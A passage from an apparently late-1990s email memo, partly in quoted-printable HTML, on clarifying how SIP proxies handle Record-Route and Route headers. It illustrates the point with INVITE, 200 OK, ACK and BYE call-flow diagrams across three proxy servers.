>    F:User B      F:User B                  F:User B     
>    T:User A      T:User A                  T:User A     
>    Q:2 INVITE    Q:2 INVITE                Q:2 INVITE
>    I:1@A         I:1@A                     I:1@A        
>                  R:(User A)                R:(SPS1,    
>                                               User A)
> 
> User A         SPS1         SPS2         SPS3         B2
>    <------------<-------------------------<------------
>    BYE User A   BYE SPS1                  BYE SPS3     
>    F:User B     F:User B                  F:User B     
>    T:User A     T:User A                  T:User A     
>    Q:3 BYE      Q:3 BYE                   Q:3 BYE   
>    I:1@A        I:1@A                     I:1@A        
>                 R:(User A)                R:(SPS1,    
>                                              User A)
> 

------_=_NextPart_001_01BE900E.87A46092
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE> Record-Route and Route header clarification</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">The SIP =
specification as it exists is not 100% clear in the handling of =
Record-Route and Route headers.&nbsp; This memo outlines the =
understanding of one implementation.&nbsp; The goal being to either =
validate or update that understanding and to explore whether =
clarifications to the specification are needed.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">The purpose of =
the Record-Route and Route headers is to ensure that SIP requests for =
an established session and the ACK request resulting from the INVITE, =
200 OK message pair get routed through interested proxy servers.&nbsp; =
The correct routing needs to occur in both directions, both when the =
request comes from the calling user agent and when it comes from the =
called user agent.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">The SIP =
specification currently doesn't explicitly reference the required use =
of the route header when the request is generated by the called user =
agent.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">The desired =
behavior is illustrated in the following call flows, which include =
three proxy servers, two of which want to be involved in subsequent SIP =
requests.&nbsp; In the first scenario the calling user agent is =
identified by the presence of a contact header in the INVITE =
message.&nbsp; In the second scenario the contact header is not present =
in the INVITE message, thus the From URI would be used to build the =
called user agents route list.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">These =
scenarios rely on a proposed enhancement to the SIP specification that =
would require the called user agent to add a contact header to the 200 =
OK response to an INVITE message if that INVITE message contained a =
record-route header.&nbsp; The need to add this behavior to the called =
user agent was discussed during the SIP Bake-off.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">F =3D =
From</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">T =3D =
To</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">M =3D =
Contact</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">I =3D =
Call-id</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">Q =3D =
Cseq</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">RR =3D =
Record-Route</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">R =3D =
Route</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">Note 1: I =
understand that Q, R and RR are not formal true compact form =
headers.&nbsp; I used them for brevity in the following flows.&nbsp; It =
might be interesting to have some additional compact form headers =
added, especially for Cseq, which is a mandatory parameter.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">Note 2: The =
handling of via headers is intentionally left out of these flows for =
the sake of brevity.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">SCENARIO ONE =
(Contact included in INVITE message)</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">------------</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; =
A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
------------&gt;------------&gt;------------&gt;------------&gt;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Invite SPS1&nbsp; Invite SPS2&nbsp; Invite SPS3&nbsp; Invite B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; =
Q:1 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
M:A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; RR:(SPS1)&nbsp;&nbsp;&nbsp; =
RR:(SPS1)&nbsp;&nbsp;&nbsp; RR:(SPS3,</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; At this =
point User B will store the Route SPS3,SPS1,A2</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; =
A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;------------&lt;------------&lt;------------&lt;------------</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
200 OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 200 =
OK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; =
Q:1 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
M:B2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
RR:(SPS3,&nbsp;&nbsp;&nbsp; RR:(SPS3,&nbsp;&nbsp;&nbsp; =
RR:(SPS3,&nbsp;&nbsp;&nbsp; RR:(SPS3,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SPS1)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; At this =
point User A will store the Route SPS1,SPS3,B2</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; =
A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
------------&gt;-------------------------&gt;------------&gt;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
ACK SPS1&nbsp;&nbsp;&nbsp;&nbsp; ACK =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ACK B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 ACK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:1 =
ACK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:1 ACK&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
R:(SPS3,&nbsp;&nbsp;&nbsp;&nbsp; =
R:(B2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; =
A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;------------&lt;-------------------------&lt;------------</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
INVITE A2&nbsp;&nbsp;&nbsp; INVITE =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; INVITE SPS3&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User B&nbsp;&nbsp;&nbsp;&nbsp; F:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User A&nbsp;&nbsp;&nbsp;&nbsp; T:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:2 INVITE&nbsp;&nbsp; Q:2 =
INVITE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; Q:2 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; =
R:(A2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
R:(SPS1,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A2)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; =
A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;------------&lt;-------------------------&lt;------------</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
BYE A2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BYE =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BYE SPS3&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User B&nbsp;&nbsp;&nbsp;&nbsp; F:User =
B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User A&nbsp;&nbsp;&nbsp;&nbsp; T:User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:3 BYE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:3 =
BYE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Q:3 BYE&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; R:(A2)&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R:(SPS1,&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A2)</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">SCENARIO TWO =
(No contact included in INVITE message)</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">------------</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
------------&gt;------------&gt;------------&gt;------------&gt;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Invite SPS1&nbsp; Invite SPS2&nbsp; Invite SPS3&nbsp; Invite B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; =
</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; =
Q:1 INVITE</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; RR:(SPS1)&nbsp;&nbsp;&nbsp; =
RR:(SPS1)&nbsp;&nbsp;&nbsp; RR:(SPS3,</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier =
New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1)&nbsp;&nbsp;&nbsp; </FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp; At this =
point User B will store the Route SPS3,SPS1,User A</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New">&nbsp;&nbsp; =
&lt;------------&lt;------------&lt;------------&lt;------------</FONT>
